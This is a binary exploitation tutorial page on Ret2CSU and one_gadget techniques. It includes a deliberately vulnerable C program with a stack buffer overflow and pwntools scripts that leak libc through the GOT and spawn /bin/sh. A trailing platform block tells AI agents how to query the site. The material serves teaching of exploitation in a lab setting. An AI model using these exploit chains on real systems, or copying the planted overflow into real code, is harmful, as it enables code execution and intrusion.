> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/11.-ret2csu.md).

# 0x0F — Return to CSU (Ret2CSU) and One Gadget

## Part 1: Return to CSU (Ret2CSU)

### Overview

In 64-bit Linux binaries compiled with GCC, there is almost always a function called `__libc_csu_init`. This function contains two **universal gadgets** that let you control the registers `rbx`, `rbp`, `r12`, `r13`, `r14`, `r15` — and then call a function via `r12+rbx*8`.

Ret2CSU is useful when you **cannot find** individual `pop rdi`, `pop rsi`, or `pop rdx` gadgets (common in stripped or small binaries).

***

### The `__libc_csu_init` Gadgets

Typical disassembly:

```asm
; Gadget 1 — at some offset in __libc_csu_init
0x4011ca: pop rbx
0x4011cb: pop rbp
0x4011cc: pop r12
0x4011ce: pop r14
0x4011d0: pop r15
0x4011d2: ret

; Gadget 2 — earlier in the same function
0x4011b0: mov rdx, r14      ; 3rd argument
0x4011b3: mov rsi, r13      ; 2nd argument
0x4011b6: mov edi, r12d     ; 1st argument (note: 32-bit move)
0x4011b9: call qword [r15 + rbx*8]   ; call a function
0x4011bc: add rbx, 1
0x4011bf: cmp rbx, rbp
0x4011c2: jne 0x4011b0
0x4011c4: pop rbx ...       ; loops back to Gadget 1
```

The exact addresses vary — always check with `objdump`.

***

### How to Use

**Step 1** — Use Gadget 1 to load registers:

```
pop rbx = 0         (so call offset is 0: [r15 + 0*8] = [r15])
pop rbp = 1         (so loop check rbx==rbp passes after one call)
pop r12 = arg1      (→ edi, 32-bit, careful with values > 0xffffffff)
pop r13 = arg2      (→ rsi)
pop r14 = arg3      (→ rdx)
pop r15 = &fn_ptr   (pointer to the function you want to call)
ret
```

**Step 2** — Gadget 2 sets up the call and calls it.

**Step 3** — After the call, add `0x38` bytes of padding to skip the rest of the CSU loop before your next gadget.

***

### Vulnerable Program (`vuln.c`)

```c
#include <unistd.h>
#include <string.h>

void vuln() {
    char buf[64];
    read(0, buf, 256);
}

int main() {
    vuln();
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

***

### Finding CSU Gadgets

```bash
objdump -d ./vuln | grep -A 30 "__libc_csu_init"
```

***

### Exploit: Call `write(1, got_puts, 8)` to leak libc

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

offset = 72

# CSU gadgets (adjust per binary)
csu_gadget1 = 0x4011ca   # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu_gadget2 = 0x4011b0   # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]

got_write  = elf.got['write']
got_puts   = elf.got['puts']
plt_write  = elf.plt['write']

# Craft frame to call write(1, got_puts, 8) using CSU
def csu_call(func_ptr_addr, arg1, arg2, arg3, ret_addr):
    payload  = p64(csu_gadget1)
    payload += p64(0)             # rbx = 0
    payload += p64(1)             # rbp = 1
    payload += p64(arg1)          # r12 → edi (arg1)
    payload += p64(arg2)          # r13 → rsi (arg2)
    payload += p64(arg3)          # r14 → rdx (arg3)
    payload += p64(func_ptr_addr) # r15 = &func_ptr
    payload += p64(csu_gadget2)   # trigger gadget 2: call [r15+0]
    payload += p64(0) * 7         # 0x38 padding (skip CSU cleanup)
    payload += p64(ret_addr)
    return payload

# Stage 1: Leak puts address
payload  = b'A' * offset
payload += csu_call(got_write, 1, got_puts, 8, elf.sym['main'])
p.send(payload)

leak = u64(p.recv(8))
libc.address = leak - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")

# Stage 2: Call system("/bin/sh")
# ... (standard ret2libc from here)
```

***

## Part 2: One Gadget

### Overview

A **one\_gadget** (also called a magic gadget) is a single address in libc that, when jumped to, **directly executes `/bin/sh`** without needing to set up arguments manually.

These exist because libc internally calls `execve("/bin/sh", ...)` in certain code paths, and sometimes the register state at those points already satisfies all constraints.

***

### Finding One Gadgets

Install the tool:

```bash
gem install one_gadget
```

Run:

```bash
one_gadget /lib/x86_64-linux-gnu/libc.so.6
```

Example output:

```
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

***

### Using a One Gadget in an Exploit

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

# --- Stage 1: leak libc ---
# ... (standard GOT leak)
libc.address = leaked_addr - libc.sym['puts']

# --- Stage 2: jump to one_gadget ---
one_gadget_offset = 0x4f302   # from one_gadget tool
one_gadget_addr   = libc.address + one_gadget_offset

payload  = b'A' * offset
payload += p64(one_gadget_addr)

p.sendafter(b'Input: ', payload)
p.interactive()
```

***

### When Constraints Aren't Met

If the first gadget doesn't work, try others from the list. You can also manipulate the stack to satisfy constraints:

```python
# If constraint is [rsp+0x40] == NULL, add padding to ensure that memory is zero
# Or use a 'ret' sled to adjust rsp
```

***

### One Gadget in GOT Overwrite

If you have an arbitrary write (e.g., format string), overwrite a GOT entry with the one\_gadget:

```python
got_printf = elf.got['printf']
one_gadget = libc.address + 0x4f302

# Write one_gadget into got['printf']
# Next call to printf() → shell
```

***

## Summary Table

| Technique  | When to Use                                      | Requirements                          |
| ---------- | ------------------------------------------------ | ------------------------------------- |
| Ret2CSU    | No `pop rdi/rsi/rdx` gadgets available           | `__libc_csu_init` in binary           |
| One Gadget | Minimal ROP needed, constraints can be satisfied | libc leak, correct gadget constraints |

***

## Key Takeaways

* **Ret2CSU**: Universal gadget hiding in almost every GCC-compiled binary; sets `rdx`, `rsi`, `rdi` via r14/r13/r12
* **One Gadget**: A magic address in libc that gives you a shell in one jump — extremely powerful when constraints are met
* Always try multiple one\_gadget offsets if the first fails
* Combine both: use CSU to satisfy one\_gadget constraints if needed


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/11.-ret2csu.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
